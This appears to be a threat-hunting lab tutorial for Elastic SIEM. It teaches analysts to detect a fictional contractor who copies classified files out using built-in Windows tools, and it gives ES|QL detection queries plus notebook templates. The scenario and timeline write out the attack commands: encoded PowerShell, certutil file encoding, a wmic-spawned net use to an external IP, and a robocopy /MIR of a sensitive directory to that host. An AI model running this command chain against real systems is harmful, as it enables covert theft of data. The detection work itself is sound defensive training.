🔬 Lab Difficulty: Intermediate — Estimated Time: 60–90 minutes
🗂️ MITRE ATT&CK: T1218 — Signed Binary Proxy Execution | T1047 — WMI | T1059.001 — PowerShell
Get Elastic SIEM Access on hunt-forward.com — 7-day free trial, then $5/month
How to use this lab: Read the story to understand the attack. Then follow the Hunt section to find it yourself in Elastic SIEM. Document your findings in your Hunt Notebook as you go — you’ll use them to build your GitHub portfolio at the end.
Press enter or click to view image in full size
📖 Part 1: The Scenario
Thursday, 11:22 AM., Washington D.C.
Alex Chen gets a call from the agency’s HR department. A contractor — Marcus Webb, 6-year tenure, top clearance — handed in his resignation two days ago. His last day is Friday. Standard offboarding. Except HR noticed something odd: Marcus badged into the secure data centre at 6:47 AM yesterday. Alone. Before anyone else arrived.
Alex pulls up endpoint logs for Marcus’s workstation, DIS-WS-112. What he finds isn't malware. There's nothing foreign on the machine at all.
powershell.exe -EncodedCommand <base64_blob>
certutil.exe -encode classified_report.pdf encoded.txt
wmic.exe process call create "cmd /c net use Z: \\185.220.101.55\drop"
robocopy.exe C:\SensitiveData\ \\185.220.101.55\upload\ /MIREvery binary is a legitimate Windows tool. Every one ships with the OS. Marcus didn’t bring anything in — he used what was already there, specifically because he knew it would blend in.
This is LOLBAS — Living Off the Land Binaries and Scripts. And when the insider already has the credentials, it’s the hardest version of it to catch.
Now it’s your turn to find it.
Why Insider LOLBAS Is the Hardest Hunt
┌──────────────────────────────────────────────────────────────────────┐
│ External attacker: no credentials → noisy lateral movement │
│ Insider threat: valid credentials → silent, authorised-looking │
│ │
│ certutil.exe encoding a file? Could be IT. │
│ robocopy.exe moving files? Could be a backup script. │
│ wmic.exe running a command? Could be a sysadmin. │
│ │
│ The only tell is CONTEXT — what, when, from where, to where. │
└──────────────────────────────────────────────────────────────────────┘You can’t blocklist certutil.exe. You can't block robocopy.exe. What you can do is hunt for usage that doesn't match the baseline — unusual hours, unusual destinations, unusual combinations of tools used in sequence.
Want to learn more on LOLBAS ? — https://techzone.bitdefender.com/en/tech-explainers/living-of-the-land-attacks.html
🎯 Part 2: Your Mission
By the end of this lab you will have:
- ✅ Identified PowerShell encoded command execution — a classic obfuscation technique
- ✅ Detected
certutil.exeused to encode files for exfiltration - ✅ Traced
wmic.exemapping a network drive to an attacker-controlled server - ✅ Found
robocopy.exebulk-copying sensitive data to an external share - ✅ Documented your full investigation in your Hunt Notebook
🔧 Part 3: Lab Setup
You’ll need a Hunt Forward account for this lab. Your Elastic SIEM environment has the lolbas-lab-logs dataset pre-loaded — endpoint process events, file activity, and network logs mixed with realistic background noise.
👉 Sign up at hunt-forward.com — 7-day free trial, then $5/month
Once you’re in you can click HERE or :
- Open Kibana → hamburger menu (top left) → Discover
- Select the index
lolbas-lab-logs - Set the time range to April 25, 2024 (custom:
2024-04-25T00:00:00→2024-04-25T23:59:59)
You should see process creation events, file activity logs, and network telemetry spanning the full workday. That’s your crime scene.
A Quick Word on ES|QL
Throughout this lab we use ES|QL — Elasticsearch Query Language — instead of clicking through visualisation menus. ES|QL lets you filter, group, count, and calculate statistics on your logs in a single query, directly in Discover.
Every ES|QL query starts with FROM and pipes data through commands using |. Think of each | as "then do this next thing to the results."
To run ES|QL in Kibana:
- In Discover, click the top right </> ES|QL icon next to share.
- Paste the query and press Run (▶)
🔍 Part 4: The Hunt
Hunt 1 — Catch PowerShell Encoded Command Execution
Insiders who know security tools use Base64-encoded PowerShell commands to hide what they’re running. The -EncodedCommand flag tells PowerShell to decode and execute a Base64 string — so the command line log shows gibberish instead of intent.
Legitimate administrators almost never need this. When someone uses it, the question is always: what are they hiding?
FROM lolbas-lab-logs
| WHERE event.category == "process"
AND event.type == "start"
AND process.name == "powershell.exe"
AND (process.command_line LIKE "*-EncodedCommand*"
OR process.command_line LIKE "*-enc *"
OR process.command_line LIKE "*-ec *")
| EVAL hour_of_day = DATE_EXTRACT("HOUR_OF_DAY", @timestamp)
| EVAL time_flag = CASE(
hour_of_day < 7 OR hour_of_day > 19, "OFF_HOURS",
"BUSINESS_HOURS"
)
| KEEP @timestamp, host.name, user.name, process.command_line, time_flag, hour_of_day
| SORT @timestamp ASCWhat each line does:
AND process.command_line LIKE "*-EncodedCommand*" OR ...— catches all shorthand variants of the flag (-enc,-ec,-EncodedCommand)EVAL hour_of_day = DATE_EXTRACT("HOUR_OF_DAY", @timestamp)— extracts the hour as a number so we can evaluate when this ranEVAL time_flag = CASE(...)— classifies each execution: before 7am or after 7pm isOFF_HOURS. An insider exfiltrating before colleagues arrive is a classic patternKEEP+SORT— chronological, readable output with only the fields that matter
What you’re looking for: Any encoded PowerShell execution, with attention to the time_flag column. Marcus's execution shows OFF_HOURS — 6:52 AM, five minutes after his early badge-in.
📝 Hunt Notebook checkpoint: Record the username, hostname, timestamp,
time_flag, hour of day, and the encoded command string. Note the time delta from the 6:47 AM badge-in HR flagged.✅ Obfuscated execution confirmed. Encoded PowerShell run by
marcus.webbat 6:52 AM — off-hours, immediately after an anomalous badge-in.
🏁 Milestone 1 of 4 — Encoded PowerShell Execution Identified Open your Hunt Notebook and paste this template. Fill in your findings.
## 🖥️ Milestone 1: Encoded PowerShell Execution**Date of Hunt:** [today's date]
**Lab:** Hunt Forward #002 — LOLBAS Detection
**Analyst:** [your name]### Finding
PowerShell executed with -EncodedCommand flag outside business hours,
consistent with deliberate obfuscation by an insider threat actor.| Field | Value |
|----------------|------------------------------|
| Username | [your finding] |
| Hostname | [your finding] |
| Timestamp | [your finding] |
| Time flag | [OFF_HOURS / BUSINESS_HOURS] |
| Hour of day | [your finding] |
| Encoded payload| [your finding] |### ES|QL Query Used
```esql
FROM lolbas-lab-logs
| WHERE event.category == "process"
AND event.type == "start"
AND process.name == "powershell.exe"
AND (process.command_line LIKE "*-EncodedCommand*"
OR process.command_line LIKE "*-enc *"
OR process.command_line LIKE "*-ec *")
| EVAL hour_of_day = DATE_EXTRACT("HOUR_OF_DAY", @timestamp)
| EVAL time_flag = CASE(
hour_of_day < 7 OR hour_of_day > 19, "OFF_HOURS",
"BUSINESS_HOURS"
)
| KEEP @timestamp, host.name, user.name, process.command_line, time_flag, hour_of_day
| SORT @timestamp AS
Notes:
Encoded commands are not inherently malicious but are extremely unusual in this environment. Off-hours timing corroborates insider threat intent.
Severity: High Confidence: Medium-High (corroborate with subsequent hunts)
Hunt 2 — Find certutil.exe Encoding Files for Exfiltration
certutil.exe can encode files to Base64 using its -encode flag — the same format used to send binary data over text channels like email or web forms. Marcus used this to disguise a classified PDF as a plain text file before moving it out.
Get Hunt Forward’s stories in your inbox
Join Medium for free to get updates from this writer.
Note the contrast with Lab #001: there, an external attacker used certutil to download a payload. Here, an insider uses it to encode and prepare sensitive data for outbound transfer. Same binary. Opposite direction. Both malicious.
FROM lolbas-lab-logs
| WHERE event.category == "process"
AND process.name == "certutil.exe"
AND (process.command_line LIKE "*-encode*"
OR process.command_line LIKE "*-decode*")
| EVAL operation = CASE(
process.command_line LIKE "*-encode*", "ENCODE_TO_BASE64",
process.command_line LIKE "*-decode*", "DECODE_FROM_BASE64",
"OTHER"
)
| EVAL sensitive_filetype = CASE(
process.command_line LIKE "*.pdf*", "PDF",
process.command_line LIKE "*.docx*", "DOCX",
process.command_line LIKE "*.xlsx*", "XLSX",
process.command_line LIKE "*.zip*", "ZIP",
"OTHER"
)
| KEEP @timestamp, host.name, user.name, process.command_line, operation, sensitive_filetype
| SORT @timestamp ASCWhat each line does:
LIKE "*-encode*" OR "*-decode*"— catches both directions: encoding files out, or decoding received dataEVAL operation— labels the direction clearly so results are immediately readableEVAL sensitive_filetype— inspects the command line for document file extensions. A classified report encoded to Base64 showsPDFhere, instantly flagging the file type involvedKEEP+SORT— clean output with both classification fields visible
What you’re looking for: ENCODE_TO_BASE64 on a document file type, from a single user in the off-hours window. You'll see classified_report.pdf being encoded to encoded.txt.
📝 Hunt Notebook checkpoint: Record the input filename, output filename,
sensitive_filetype, username, hostname, and timestamp. The input file is your primary evidence of what was taken.
🏁 Milestone 2 of 4 — certutil File Encoding Detected
## 📦 Milestone 2: certutil.exe File Encoding for Exfiltration### Finding
certutil.exe used to encode a sensitive document to Base64 — consistent
with an insider preparing classified files for covert exfiltration.| Field | Value |
|------------------|------------------|
| Username | [your finding] |
| Hostname | [your finding] |
| Input file | [your finding] |
| Output file | [your finding] |
| Operation | ENCODE_TO_BASE64 |
| sensitive_filetype | [your finding] |
| Timestamp | [your finding] |### ES|QL Query Used
```esql
FROM lolbas-lab-logs
| WHERE event.category == "process"
AND process.name == "certutil.exe"
AND (process.command_line LIKE "*-encode*"
OR process.command_line LIKE "*-decode*")
| EVAL operation = CASE(
process.command_line LIKE "*-encode*", "ENCODE_TO_BASE64",
process.command_line LIKE "*-decode*", "DECODE_FROM_BASE64",
"OTHER"
)
| EVAL sensitive_filetype = CASE(
process.command_line LIKE "*.pdf*", "PDF",
process.command_line LIKE "*.docx*", "DOCX",
process.command_line LIKE "*.xlsx*", "XLSX",
process.command_line LIKE "*.zip*", "ZIP",
"OTHER"
)
| KEEP @timestamp, host.name, user.name, process.command_line, operation, sensitive_filetype
| SORT @timestamp ASC
Notes
Legitimate certutil usage in this environment does not include -encode on document files. This is confirmed pre-exfiltration preparation.
Severity: Critical Confidence: High
Hunt 3 — Trace wmic.exe Mapping an Attacker-Controlled Drive
Before running robocopy, Marcus mapped the attacker’s external server as a persistent network drive using wmic.exe process call create to run net use. This means he could reconnect and continue copying at any time — even after rebooting — without rerunning the setup.
FROM lolbas-lab-logs
| WHERE event.category == "process"
AND process.name == "wmic.exe"
AND process.command_line LIKE "*process call create*"
| EVAL spawned_cmd = CASE(
process.command_line LIKE "*net use*", "NET_USE_DRIVE_MAP",
process.command_line LIKE "*net share*", "NET_SHARE_CREATE",
process.command_line LIKE "*powershell*", "POWERSHELL_SPAWN",
process.command_line LIKE "*rundll32*", "RUNDLL32_SPAWN",
"OTHER"
)
| EVAL external_target = CASE(
process.command_line LIKE "*185.*", "true",
process.command_line LIKE "*203.*", "true",
"false"
)
| KEEP @timestamp, host.name, user.name, process.command_line, spawned_cmd, external_target
| SORT @timestamp ASCWhat each line does:
AND process.command_line LIKE "*process call create*"— WMI's process spawning method; almost never used legitimately in endpoint telemetryEVAL spawned_cmd— classifies what's being spawned through WMI.NET_USE_DRIVE_MAPis the critical hitEVAL external_target— checks if the command targets a known external IP.truemeans the drive being mapped points outside the organisationKEEP+SORT— full command line alongside both classification columns
What you’re looking for: spawned_cmd == "NET_USE_DRIVE_MAP" AND external_target == "true" in the same row. That's a persistent outbound channel being established through a trusted Windows binary.
📝 Hunt Notebook checkpoint: Record the drive letter being mapped, the full UNC path of the external server (this is an IOC), the
spawned_cmdandexternal_targetvalues, and the timestamp.
🏁 Milestone 3 of 4 — External Drive Mapping Confirmed
## 🗺️ Milestone 3: wmic.exe Mapping Attacker-Controlled Network Drive### Drive Mapping Detail
| Field | Value |
|-------------------|--------------------|
| Username | [your finding] |
| Hostname | [your finding] |
| Drive letter | [your finding] |
| External UNC path | [your finding] |
| spawned_cmd | NET_USE_DRIVE_MAP |
| external_target | true |
| Timestamp | [your finding] |### ES|QL Query Used
```esql
FROM lolbas-lab-logs
| WHERE event.category == "process"
AND process.name == "wmic.exe"
AND process.command_line LIKE "*process call create*"
| EVAL spawned_cmd = CASE(
process.command_line LIKE "*net use*", "NET_USE_DRIVE_MAP",
process.command_line LIKE "*net share*", "NET_SHARE_CREATE",
process.command_line LIKE "*powershell*", "POWERSHELL_SPAWN",
"OTHER"
)
| EVAL external_target = CASE(
process.command_line LIKE "*185.*", "true",
"false"
)
| KEEP @timestamp, host.name, user.name, process.command_line, spawned_cmd, external_target
| SORT @timestamp ASC
Notes
wmic process call create is almost never legitimate. Combined with net use to an external IP, this is a persistent exfiltration channel being deliberately established through a trusted Windows binary.
Severity: Critical Confidence: High
Hunt 4 — Detect robocopy.exe Bulk-Copying to the External Server
robocopy.exe (Robust File Copy) is a built-in Windows directory mirroring tool. IT teams use it legitimately for backups. Marcus used it for bulk exfiltration — because it's fast, silent, and trusted by every security product installed.
The /MIR flag mirrors an entire source directory tree to a destination recursively. Combined with the external UNC path established in Hunt 3, this is a one-command bulk data transfer.
FROM lolbas-lab-logs
| WHERE event.category == "process"
AND process.name == "robocopy.exe"
| EVAL dest_type = CASE(
process.command_line LIKE "*\\\\185.*", "EXTERNAL_IP",
process.command_line LIKE "*\\\\203.*", "EXTERNAL_IP",
process.command_line LIKE "*\\\\192.168.*", "INTERNAL",
process.command_line LIKE "*\\\\10.*", "INTERNAL",
"OTHER"
)
| EVAL copy_scope = CASE(
process.command_line LIKE "*/MIR*", "FULL_MIRROR",
process.command_line LIKE "*/E*", "RECURSIVE",
"STANDARD"
)
| KEEP @timestamp, host.name, user.name, process.command_line, dest_type, copy_scope
| SORT @timestamp ASCWhat each line does:
WHERE process.name == "robocopy.exe"— all robocopy executions, unfiltered, so we can classify every oneEVAL dest_type— classifies the destination: internal IP ranges are expected;EXTERNAL_IPis the alarm. Catches\\185.220.101.55\upload\immediatelyEVAL copy_scope— flags mirror and recursive operations, which copy entire directories rather than single filesKEEP+SORT— chronological output with both classifications visible
What you’re looking for: dest_type == "EXTERNAL_IP" AND copy_scope == "FULL_MIRROR" in the same row. Now quantify the scope:
FROM lolbas-lab-logs
| WHERE event.category == "file"
AND user.name == "marcus.webb"
| STATS
files_accessed = COUNT(),
unique_dirs = COUNT_DISTINCT(file.directory),
first_access = MIN(@timestamp),
last_access = MAX(@timestamp)What each line does:
WHERE event.category == "file" AND user.name == "marcus.webb"— all file events by the suspect userSTATS COUNT(), COUNT_DISTINCT(file.directory), MIN/MAX(@timestamp)— total files touched, how many unique directories, and the full time window. This tells you the scope of what was potentially exfiltrated in one query.
📝 Hunt Notebook checkpoint: Record the destination UNC path (IOC — this is the attacker’s staging server),
dest_type,copy_scope, total files accessed, unique directories, and time window. This is the full exfiltration scope.
🏁 Milestone 4 of 4 — Bulk Exfiltration Confirmed
## 📤 Milestone 4: robocopy.exe Bulk Exfiltration to External Server### Copy Operation
| Field | Value |
|--------------------|----------------|
| Username | [your finding] |
| Hostname | [your finding] |
| Source path | [your finding] |
| Destination path | [your finding] |
| dest_type | EXTERNAL_IP |
| copy_scope | FULL_MIRROR |
| Timestamp | [your finding] |### Exfiltration Scope
| Field | Value |
|--------------------|----------------|
| Files accessed | [your finding] |
| Unique directories | [your finding] |
| First access | [timestamp] |
| Last access | [timestamp] |### ES|QL Queries Used
```esql
FROM lolbas-lab-logs
| WHERE event.category == "process"
AND process.name == "robocopy.exe"
| EVAL dest_type = CASE(
process.command_line LIKE "*\\\\185.*", "EXTERNAL_IP",
process.command_line LIKE "*\\\\192.168.*", "INTERNAL",
"OTHER"
)
| EVAL copy_scope = CASE(
process.command_line LIKE "*/MIR*", "FULL_MIRROR",
"STANDARD"
)
| KEEP @timestamp, host.name, user.name, process.command_line, dest_type, copy_scope
| SORT @timestamp ASC
Recommended Immediate Actions
- [ ] Revoke marcus.webb credentials and badge access immediately
- [ ] Block 185.220.101.55 at the perimeter firewall
- [ ] Preserve forensic image of DIS-WS-112 before any changes
- [ ] Recover encoded.txt from disk — contents confirm what was taken
- [ ] Audit all files accessed by marcus.webb in the past 30 days
- [ ] Determine classification level of all data in C:\SensitiveData\
- [ ] Notify legal and compliance — government data breach protocols apply
- [ ] Review badge logs for other anomalous early/late access in past 30 days
📋 Part 5: Building Your Timeline
┌─────────────────────────────────────────────────────────────────────────────────┐
│ INCIDENT TIMELINE — Dept. of Infrastructure Services / DIS-WS-112 │
├────────────┬────────────────────────────────────────────────────────────────────┤
│ ~2 days │ Marcus Webb submits resignation │
│ earlier │ → Offboarding initiated; credentials not yet revoked │
├────────────┼────────────────────────────────────────────────────────────────────┤
│ 06:47 AM │ Marcus badges into secure data centre alone, pre-hours │
│ │ → HR flags it; no immediate action taken │
├────────────┼────────────────────────────────────────────────────────────────────┤
│ 06:52 AM │ powershell.exe -EncodedCommand executes on DIS-WS-112 │
│ │ → Off-hours, obfuscated — insider establishing execution context │
├────────────┼────────────────────────────────────────────────────────────────────┤
│ 06:55 AM │ certutil.exe -encode classified_report.pdf encoded.txt │
│ │ → Classified document converted to Base64 for covert transfer │
├────────────┼────────────────────────────────────────────────────────────────────┤
│ 07:01 AM │ wmic.exe process call create "net use Z: \\185.220.101.55\drop" │
│ │ → External staging server mapped as persistent network drive Z:\ │
├────────────┼────────────────────────────────────────────────────────────────────┤
│ 07:04 AM │ robocopy.exe C:\SensitiveData\ \\185.220.101.55\upload\ /MIR │
│ │ → Full directory mirror — bulk exfiltration to attacker server │
├────────────┼────────────────────────────────────────────────────────────────────┤
│ 11:22 AM │ Alex Chen pulls endpoint logs — full LOLBAS chain discovered │
│ │ → Credentials revoked, host isolated, legal team notified │
└────────────┴────────────────────────────────────────────────────────────────────┘📝 Part 6: Export Your Hunt Notebook → GitHub Portfolio
If you followed the milestone blocks, your Hunt Notebook has four completed sections. Two paths to GitHub:
Option A — Merge your milestones. Combine all four blocks, add a cover section (your name, date, executive summary, IOC table), and push as hunt-002-lolbas-detection.md.
Option B — Use the Hunt Forward pre-written report. Download the completed reference report from your Hunt Forward dashboard and push it directly.
That said — write your own.
This one is worth the effort. Insider threat write-ups are different from external breach reports. The narrative matters: Marcus had trusted access, a 6-year tenure, and used nothing that wasn’t already on the machine. Explaining that complexity to a non-technical legal team or compliance officer — clearly, without jargon, with the right level of urgency — is a skill that separates a junior analyst from a senior one.
Use AI for the tables. Write the executive summary yourself.
Export from the Hunt Notebook and push to GitHub as:
hunt-002-lolbas-detection.md
🛡️ Part 7: What Alex Did Next
Marcus Webb’s credentials were revoked by 11:31 AM — nine minutes after Alex’s call. The forensic image of DIS-WS-112 was preserved before lunch. The classified report recovered from encoded.txt on disk was confirmed as a Top Secret infrastructure assessment. Legal held Marcus at the building under escort while the Office of Inspector General was notified. Alex's investigation timeline — built in his Hunt Notebook during the hunt — became the first page of the federal incident report.
🎓 The Takeaway
┌──────────────────────────────────────────────────────────────────────────────────────────────────┐
│ DETECTION TECHNIQUES — Hunt Forward Lab #002: LOLBAS │
├────────────────────────────┬──────────────────────────────────────┬─────────────────────────────┤
│ Technique │ What It Finds │ ES|QL Pattern │
├────────────────────────────┼──────────────────────────────────────┼─────────────────────────────┤
│ Hunt 1 │ Encoded PowerShell executed │ EVAL hour = │
│ Off-hours detection │ before business hours │ DATE_EXTRACT(...) │
│ │ │ | EVAL flag = CASE( │
│ │ │ hour < 7, │
│ │ │ "OFF_HOURS", ...) │
├────────────────────────────┼──────────────────────────────────────┼─────────────────────────────┤
│ Hunt 2 │ certutil preparing documents │ EVAL operation = CASE( │
│ File encoding detection │ for exfiltration │ cmd LIKE "*-encode*", │
│ │ │ "ENCODE_TO_BASE64", ...) │
├────────────────────────────┼──────────────────────────────────────┼─────────────────────────────┤
│ Hunt 3 │ wmic spawning net use to │ EVAL spawned_cmd = │
│ Drive mapping detection │ an external server │ CASE(...) │
│ │ │ | EVAL external_target = │
│ │ │ CASE(...) │
├────────────────────────────┼──────────────────────────────────────┼─────────────────────────────┤
│ Hunt 4 │ robocopy full mirror + │ EVAL dest_type │
│ Exfiltration scope │ file access count across dirs │ | EVAL copy_scope │
│ │ │ | STATS COUNT(), │
│ │ │ COUNT_DISTINCT( │
│ │ │ file.directory) │
└────────────────────────────┴──────────────────────────────────────┴─────────────────────────────┘The lesson insider threat hunting teaches that external breach hunting doesn’t: legitimate credentials make everything look authorised. The only signal is behaviour — when, what combination of tools, and where the data went.
🚀 Ready for the Next Lab?
Coming up in the Hunt Forward series:
- Lab #003: DNS Tunneling — Finding Data Exfiltration Hidden in Plain Sight
- Lab #004: Credential Dumping — Hunting LSASS Access in Endpoint Logs
- Lab #005: Persistence Mechanisms — Registry Run Keys, Scheduled Tasks & Startup Folders
👉 Access all labs at hunt-forward.com — 7-day free trial, then $5/month
Follow Hunt Forward on Medium to get notified when Lab #003 drops.
Hunt Forward Lab #002 — LOLBAS Detection MITRE ATT&CK: T1218 (Signed Binary Proxy Execution) | T1059.001 (PowerShell) | T1048 (Exfiltration Over Alternative Protocol) Dataset: lolbas-lab-logs | Difficulty: Intermediate